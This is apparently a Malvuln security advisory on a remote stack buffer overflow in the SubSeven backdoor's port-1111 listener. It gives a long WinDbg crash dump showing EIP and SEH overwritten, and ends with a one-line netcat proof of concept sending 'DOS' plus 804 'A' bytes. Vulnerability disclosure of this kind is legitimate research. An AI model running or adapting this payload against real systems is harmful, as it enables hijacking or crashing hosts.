Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/bc7f4c4689f1b8ad395404d1e75c776f.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.SubSeven.c
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 1111. Third-party attackers who can reach an infected system can send a specially crafted packet prefixed with "DOS". This will trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH).
Type: PE32
MD5: bc7f4c4689f1b8ad395404d1e75c776f
Vuln ID: MVID-2022-0448
Dropped files: (cfvfpgnf.exe) randomly named
ASLR: False
DEP: False
Safe SEH: False
Disclosure: 01/05/2022

Memory Dump:
(192c.1d7c): Access violation(192c.1d7c): Access violation - code c0000005 (first/second chance not available)
 - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000
eip=41414141 esp=000a1600 ebp=000a1620 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

0:000> ecxr
*** WARNING: Unable to verify checksum for cfvfpgnf.exe
*** ERROR: Module load completed but symbols could not be loaded for cfvfpgnf.exe
Couldn't resolve error at 'cxr'

0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************

Failed calling InternetOpenUrl, GLE=12029

FAULTING_IP:
+26
41414141 ??              ???

EXCEPTION_RECORD:  0019ee34 -- (.exr 0x19ee34)
 0019ee34 -- (.exr 0x19ee34)
ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141

PROCESS_NAME:  cfvfpgnf.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000008

EXCEPTION_PARAMETER2:  41414141

WRITE_ADDRESS:  41414141

FOLLOWUP_IP:
+26

41414141 ??              ???

FAILED_INSTRUCTION_ADDRESS:
+26

41414141 ??              ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG:  0

APPLICATION_VERIFIER_FLAGS:  0

IP_ON_HEAP:  41414141
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT:
MOD_LIST: <ANALYSIS/>

CONTEXT:  0019ee84 -- (.cxr 0x19ee84)
 0019ee84 -- (.cxr 0x19ee84)
eax=00010000 ebx=04163c0c ecx=7673eb0d edx=00000000 esi=005d0a48 edi=04040d17
eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
41414141 ??              ???
Resetting default scope

ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:  
00000000 00000000 cfvfpgnf.exe+0x0

STACK_COMMAND:  .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  cfvfpgnf.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME:
ADDITIONAL_DEBUG_TEXT:  Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]

LAST_CONTROL_TRANSFER:  from 41414141 to 41414141

FAULTING_THREAD:  ffffffff

BUGCHECK_STR:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE

PRIMARY_PROBLEM_CLASS:  STACK_OVERFLOW_STACKIMMUNE

DEFAULT_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE

FRAME_ONE_INVALID: 1

STACK_TEXT:  
00000000 00000000 cfvfpgnf.exe+0x0

STACK_COMMAND:  .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb

SYMBOL_NAME:  cfvfpgnf.exe

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: cfvfpgnf
cfvfpgnf

IMAGE_NAME:  cfvfpgnf.exe

DEBUG_FLR_IMAGE_TIMESTAMP:  2a425e19

FAILURE_BUCKET_ID:  STACK_OVERFLOW_STACKIMMUNE_c0000005_cfvfpgnf.exe!Unknown

BUCKET_ID:  APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_cfvfpgnf.exe

Followup: MachineOwner
---------

0:000> !exchain
ntdll!ExecuteHandler2+44 (773e9d70)
0019f2e4: 0019f2e4: 41414141
41414141
Invalid exception stack at 41414141
Invalid exception stack at 41414141


Exploit/PoC:
python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 1111
connected. 23:37 - January 4, 2022, Tuesday, ver: Legends 2.1

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).